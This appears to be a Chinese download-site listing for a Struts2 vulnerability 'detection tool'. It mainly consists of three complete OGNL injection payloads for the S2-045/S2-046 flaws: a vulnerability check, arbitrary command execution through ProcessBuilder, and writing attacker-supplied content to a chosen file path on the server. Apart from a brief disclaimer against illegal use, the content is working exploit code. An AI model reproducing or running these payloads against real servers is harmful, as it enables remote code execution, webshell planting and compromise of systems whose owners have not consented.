struts2漏洞检测工具

struts2漏洞检测工具

8.82KB / 系统检测

游戏简介
  • struts2漏洞检测工具

    struts2漏洞检测工具是款非常优秀的系统漏洞检测工具。struts2漏洞检测工具能够帮助用户检测网络、系统、邮件、服务器的漏洞,帮助用户降低和缓解漏洞有可能造成的威胁和损失,对以探测的漏洞进行修复,有效防止黑客攻击。

     

    struts2漏洞检测工具简介:

    2017版增加S2-046,官方发布S2-046和S2-045漏洞引发原因一样,只是利用漏洞的位置发生了变化,S2-046方式可能绕过部分WAF防护,存在S2-045就存在S2-046。当Struts2开启devMode模式时,将导致严重远程代码执行漏洞。如果WebService启动权限为最高权限时,可远程执行任意命令,包括关机、建立新用户、以及删除服务器上所有文件等等。

     

    struts2漏洞检测工具功能介绍:

    1、验证漏洞,修改Content-Type,返回内容为“webpath”代表存在漏洞。

    %{(#test='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).

    (#_memberAccess?(#_memberAccess=#dm):

    ((#container=#context['com.opensymphony.xwork2.ActionContext.container']).

    (#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).

    (#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).

    (#context.setMemberAccess(#dm)))).(#req=@org.apache.struts2.ServletActionContext@getRequest()).

    (#res=@org.apache.struts2.ServletActionContext@getResponse()).

    (#res.setContentType('text/html;charset=UTF-8')).(#res.getWriter().print('web')).

    (#res.getWriter().print('path')).(#res.getWriter().flush()).(#res.getWriter().close())}

    2、执行命令

    %{(#test='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).

    (#_memberAccess?(#_memberAccess=#dm):

    ((#container=#context['com.opensymphony.xwork2.ActionContext.container']).

    (#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).

    (#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).

    (#context.setMemberAccess(#dm)))).(#req=@org.apache.struts2.ServletActionContext@getRequest()).

    (#res=@org.apache.struts2.ServletActionContext@getResponse()).

    (#res.setContentType('text/html;charset=UTF-8')).(#s=new java.util.Scanner((new

    java.lang.ProcessBuilder('[cmd]'.toString().split('s'))).start().getInputStream()).useDelimiter('AAAA')).

    (#str=#s.hasNext()?#s.next():'').(#res.getWriter().print(#str)).(#res.getWriter().flush()).

    (#res.getWriter().close()).(#s.close())}

    3、上传文件:

    %{(#test='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).

    (#_memberAccess?(#_memberAccess=#dm):

    ((#container=#context['com.opensymphony.xwork2.ActionContext.container']).

    (#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).

    (#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).

    (#context.setMemberAccess(#dm)))).(#req=@org.apache.struts2.ServletActionContext@getRequest()).

    (#res=@org.apache.struts2.ServletActionContext@getResponse()).

    (#res.setContentType('text/html;charset=UTF-8')).(new java.io.BufferedWriter(new

    java.io.FileWriter([path])).append(#req.getHeader('test')).close()).(#res.getWriter().print('oko')).

    (#res.getWriter().print('kok/')).(#res.getWriter().print(#req.getContextPath())).(#res.getWriter().flush()).

    (#res.getWriter().close())}

    特别说明/ SPECIAL VERSION

    此工具仅为辅助测试使用,请勿用于非法用途,否则后果自负。

    猜你喜欢
    猜你喜欢
    猜你喜欢